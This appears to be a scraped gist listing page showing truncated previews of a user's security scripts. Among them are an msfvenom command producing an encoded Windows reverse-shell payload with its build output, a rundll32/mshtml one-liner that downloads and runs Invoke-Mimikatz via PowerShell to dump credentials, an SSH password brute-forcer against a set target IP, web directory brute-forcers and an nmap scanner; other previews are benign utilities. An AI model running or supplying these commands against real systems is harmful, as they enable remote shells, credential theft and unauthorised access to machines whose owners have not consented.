This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=10.0.2.15 LPORT=443 -f c | tr -d '\n' | tr -d '\\x' | tr -d "\"" | |
No platform was selected, choosing Msf::Module::Platform::Windows from the payload | |
No Arch selected, selecting Arch: x86 from the payload | |
Found 1 compatible encoders | |
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai | |
x86/shikata_ga_nai succeeded with size 351 (iteration=0) | |
x86/shikata_ga_nai succeeded with size 378 (iteration=1) | |
x86/shikata_ga_nai succeeded with size 405 (iteration=2) | |
x86/shikata_ga_nai chosen with final size 405 | |
Payload size: 405 bytes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import geoip2.database | |
import os | |
import urllib2 | |
import StringIO | |
import tarfile | |
def downloaddatabase(download_link,filename): | |
response = urllib2.urlopen(download_link) | |
compressedFile = StringIO.StringIO() | |
compressedFile.write(response.read()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import digitalocean | |
# pip install -U python-digitalocean | |
# https://github.com/koalalorenzo/python-digitalocean | |
key = '' | |
manager = digitalocean.Manager(token=key) | |
my_droplets = manager.get_all_droplets() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import logging | |
import metasploit.module as module | |
class MetasploitLogHandler(logging.Handler): | |
def emit(self, record): | |
log_entry = self.format(record) | |
level = 'debug' | |
if record.levelno >= logging.ERROR: | |
level = 'error' | |
elif record.levelno >= logging.WARNING: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import paramiko | |
import sys | |
import os | |
import socket | |
import threading | |
import Queue | |
# From blackhat python. Need to add cli args for these: | |
password_file = '/root/Documents/python/passwords.txt' | |
target = '10.0.0.160' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ | |
# generate server.xml with the following command: | |
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes | |
# run as follows: | |
# python simple-https-server.py | |
# then in your browser, visit: | |
# https://localhost:4443 | |
import BaseHTTPServer, SimpleHTTPServer | |
import ssl |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Work in progress.... | |
import requests | |
import os | |
from progressbar import ProgressBar | |
baseurl = 'http://10.0.0.1/' | |
folder_list = '/usr/share/wordlists/dirb/small.txt' | |
recursive = 'yes' | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import os | |
from progressbar import ProgressBar | |
pbar = ProgressBar() | |
baseurl = 'http://10.0.0.55/' | |
folder_list = '/usr/share/wordlists/dirb/small.txt' | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import nmap | |
import os | |
import sys | |
import subprocess | |
import psutil | |
from datetime import datetime | |
import time | |
import smtplib | |
from email.MIMEMultipart import MIMEMultipart |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > test.txt") |